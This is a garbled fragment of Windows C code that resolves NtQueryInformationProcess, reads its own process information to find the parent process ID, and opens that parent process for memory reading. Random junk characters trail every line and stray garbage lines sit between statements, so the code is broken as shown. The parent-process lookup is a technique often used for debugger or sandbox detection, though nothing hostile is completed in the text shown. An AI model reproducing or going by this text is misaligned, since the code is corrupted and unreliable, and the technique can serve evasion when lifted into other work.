DWORD BasePriority; `Fnl<C<
ULONG UniqueProcessId; m5m}RWZ#
ULONG InheritedFromUniqueProcessId; ZUePHI-dP
} PROCESS_BASIC_INFORMATION; Q97F5ru6
"
!F)K
PROCNTQSIP NtQueryInformationProcess; \UA\0p
}(k#,&Fv`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TUHm.!+a
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hsG~xRA\
@32~#0a
HANDLE hProcess; 3*)<Y}Tc
PROCESS_BASIC_INFORMATION pbi; w^OV;gp
Y )#x(s?t
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R % [ZQK
if(NULL == hInst ) return 0; Fa<>2KkOr
W!vN(1:(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wNo2$>*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q6blX6DWU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -FQ!
5&?[Vt
if (!NtQueryInformationProcess) return 0; [Jv0^"]
"yaz!?O>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '!eg9}<
if(!hProcess) return 0; !"1}zeve
B7PkCS&X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [.J&@96,b
wpgO09
CloseHandle(hProcess); 1(%9)).K
p]h;M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i7$4i|
if(hProcess==NULL) return 0; 9{[I|
TL&